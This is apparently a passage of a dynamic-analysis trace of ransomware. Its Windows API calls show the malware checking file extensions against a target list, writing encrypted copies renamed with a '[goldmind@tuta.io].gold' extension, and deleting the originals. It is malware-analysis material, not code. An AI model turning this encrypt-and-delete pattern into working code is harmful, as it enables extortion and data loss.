nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0104.087] ReadFile (in: hFile=0x38c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0104.087] WriteFile (in: hFile=0x3b8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.087] SetEndOfFile (hFile=0x3b8) returned 1 [0104.087] CloseHandle (hObject=0x3b8) returned 1 [0104.087] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.087] SetEndOfFile (hFile=0x38c) returned 1 [0104.090] CloseHandle (hObject=0x38c) returned 1 [0104.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp")) returned 1 [0104.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0104.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0104.110] lstrlenW (lpString=".doc") returned 4 [0104.110] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0104.110] lstrlenW (lpString=".docx") returned 5 [0104.110] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0104.110] lstrlenW (lpString=".pdf") returned 4 [0104.110] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0104.110] lstrlenW (lpString=".xls") returned 4 [0104.110] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0104.110] lstrlenW (lpString=".xlsx") returned 5 [0104.110] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0104.110] lstrlenW (lpString=".ppt") returned 4 [0104.110] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0104.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0104.110] lstrlenW (lpString=".zip") returned 4 [0104.110] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0104.110] lstrlenW (lpString=".rar") returned 4 [0104.110] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0104.110] lstrlenW (lpString=".bz2") returned 4 [0104.110] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0104.110] lstrlenW (lpString=".7z") returned 3 [0104.110] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0104.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0104.111] lstrlenW (lpString=".dbf") returned 4 [0104.111] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0104.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0104.111] lstrlenW (lpString=".1cd") returned 4 [0104.111] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0104.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0104.111] lstrlenW (lpString=".jpg") returned 4 [0104.111] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0104.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0104.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0104.111] lstrlenW (lpString=".doc") returned 4 [0104.111] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0104.111] lstrlenW (lpString=".docx") returned 5 [0104.111] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0104.111] lstrlenW (lpString=".pdf") returned 4 [0104.111] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0104.111] lstrlenW (lpString=".xls") returned 4 [0104.111] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0104.111] lstrlenW (lpString=".xlsx") returned 5 [0104.111] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0104.111] lstrlenW (lpString=".ppt") returned 4 [0104.111] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0104.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0104.111] lstrlenW (lpString=".zip") returned 4 [0104.111] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0104.111] lstrlenW (lpString=".rar") returned 4 [0104.111] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0104.111] lstrlenW (lpString=".bz2") returned 4 [0104.111] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0104.111] lstrlenW (lpString=".7z") returned 3 [0104.111] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0104.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0104.111] lstrlenW (lpString=".dbf") returned 4 [0104.111] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0104.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0104.111] lstrlenW (lpString=".1cd") returned 4 [0104.111] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0104.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0104.111] lstrlenW (lpString=".jpg") returned 4 [0104.111] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0104.111] lstrcmpiW (lpString1=".BMP", lpString2=".gold") returned -1 [0104.111] lstrlenW (lpString="J0101867.BMP") returned 12 [0104.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.130] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=32616) returned 1 [0104.130] CloseHandle (hObject=0x3b4) returned 1 [0104.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp")) returned 0x20 [0104.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0104.185] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.185] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0104.186] GetLastError () returned 0x0 [0104.186] ReadFile (in: hFile=0x3b8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x7f68, lpOverlapped=0x0) returned 1 [0104.208] WriteFile (in: hFile=0x19c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x7f70, lpOverlapped=0x0) returned 1 [0104.209] ReadFile (in: hFile=0x3b8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0104.209] WriteFile (in: hFile=0x19c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.209] SetEndOfFile (hFile=0x19c) returned 1 [0104.209] CloseHandle (hObject=0x19c) returned 1 [0104.209] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.209] SetEndOfFile (hFile=0x3b8) returned 1 [0104.211] CloseHandle (hObject=0x3b8) returned 1 [0104.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.212] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp")) returned 1 [0104.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0104.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0104.213] lstrlenW (lpString=".doc") returned 4 [0104.213] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0104.213] lstrlenW (lpString=".docx") returned 5 [0104.213] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0104.213] lstrlenW (lpString=".pdf") returned 4 [0104.213] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0104.213] lstrlenW (lpString=".xls") returned 4 [0104.213] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0104.213] lstrlenW (lpString=".xlsx") returned 5 [0104.213] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0104.213] lstrlenW (lpString=".ppt") returned 4 [0104.213] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0104.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0104.213] lstrlenW (lpString=".zip") returned 4 [0104.213] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0104.213] lstrlenW (lpString=".rar") returned 4 [0104.213] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0104.213] lstrlenW (lpString=".bz2") returned 4 [0104.213] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0104.213] lstrlenW (lpString=".7z") returned 3 [0104.213] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0104.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0104.213] lstrlenW (lpString=".dbf") returned 4 [0104.213] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0104.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0104.213] lstrlenW (lpString=".1cd") returned 4 [0104.213] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0104.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0104.213] lstrlenW (lpString=".jpg") returned 4 [0104.213] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0104.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0104.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0104.213] lstrlenW (lpString=".doc") returned 4 [0104.213] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0104.213] lstrlenW (lpString=".docx") returned 5 [0104.213] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0104.213] lstrlenW (lpString=".pdf") returned 4 [0104.213] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0104.213] lstrlenW (lpString=".xls") returned 4 [0104.213] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0104.213] lstrlenW (lpString=".xlsx") returned 5 [0104.213] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0104.213] lstrlenW (lpString=".ppt") returned 4 [0104.214] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0104.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0104.214] lstrlenW (lpString=".zip") returned 4 [0104.214] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0104.214] lstrlenW (lpString=".rar") returned 4 [0104.214] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0104.214] lstrlenW (lpString=".bz2") returned 4 [0104.214] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0104.214] lstrlenW (lpString=".7z") returned 3 [0104.214] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0104.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0104.214] lstrlenW (lpString=".dbf") returned 4 [0104.214] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0104.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0104.214] lstrlenW (lpString=".1cd") returned 4 [0104.214] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0104.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0104.214] lstrlenW (lpString=".jpg") returned 4 [0104.214] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0104.214] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.214] lstrlenW (lpString="J0103058.WMF") returned 12 [0104.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0104.215] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=17344) returned 1 [0104.215] CloseHandle (hObject=0x3b8) returned 1 [0104.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf")) returned 0x20 [0104.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0104.215] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.215] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0104.216] GetLastError () returned 0x0 [0104.216] ReadFile (in: hFile=0x3b8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x43c0, lpOverlapped=0x0) returned 1 [0104.243] WriteFile (in: hFile=0x19c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x43d0, lpOverlapped=0x0) returned 1 [0104.244] ReadFile (in: hFile=0x3b8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0104.244] WriteFile (in: hFile=0x19c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.244] SetEndOfFile (hFile=0x19c) returned 1 [0104.244] CloseHandle (hObject=0x19c) returned 1 [0104.244] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.244] SetEndOfFile (hFile=0x3b8) returned 1 [0104.246] CloseHandle (hObject=0x3b8) returned 1 [0104.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf")) returned 1 [0104.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0104.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0104.247] lstrlenW (lpString=".doc") returned 4 [0104.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.247] lstrlenW (lpString=".docx") returned 5 [0104.247] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0104.247] lstrlenW (lpString=".pdf") returned 4 [0104.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.247] lstrlenW (lpString=".xls") returned 4 [0104.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.247] lstrlenW (lpString=".xlsx") returned 5 [0104.247] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0104.247] lstrlenW (lpString=".ppt") returned 4 [0104.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0104.247] lstrlenW (lpString=".zip") returned 4 [0104.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.247] lstrlenW (lpString=".rar") returned 4 [0104.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.247] lstrlenW (lpString=".bz2") returned 4 [0104.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.247] lstrlenW (lpString=".7z") returned 3 [0104.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0104.247] lstrlenW (lpString=".dbf") returned 4 [0104.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0104.247] lstrlenW (lpString=".1cd") returned 4 [0104.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0104.247] lstrlenW (lpString=".jpg") returned 4 [0104.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0104.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0104.247] lstrlenW (lpString=".doc") returned 4 [0104.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.247] lstrlenW (lpString=".docx") returned 5 [0104.247] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0104.247] lstrlenW (lpString=".pdf") returned 4 [0104.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.247] lstrlenW (lpString=".xls") returned 4 [0104.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.247] lstrlenW (lpString=".xlsx") returned 5 [0104.247] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0104.248] lstrlenW (lpString=".ppt") returned 4 [0104.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0104.248] lstrlenW (lpString=".zip") returned 4 [0104.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.248] lstrlenW (lpString=".rar") returned 4 [0104.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.248] lstrlenW (lpString=".bz2") returned 4 [0104.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.248] lstrlenW (lpString=".7z") returned 3 [0104.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0104.248] lstrlenW (lpString=".dbf") returned 4 [0104.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0104.248] lstrlenW (lpString=".1cd") returned 4 [0104.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0104.248] lstrlenW (lpString=".jpg") returned 4 [0104.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.248] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.248] lstrlenW (lpString="J0103402.WMF") returned 12 [0104.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0104.664] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=44948) returned 1 [0104.664] CloseHandle (hObject=0x3a0) returned 1 [0104.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf")) returned 0x20 [0104.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.670] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.670] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.671] GetLastError () returned 0x0 [0104.671] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xaf94, lpOverlapped=0x0) returned 1 [0104.673] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xafa0, lpOverlapped=0x0) returned 1 [0104.674] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0104.674] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.674] SetEndOfFile (hFile=0x198) returned 1 [0104.674] CloseHandle (hObject=0x198) returned 1 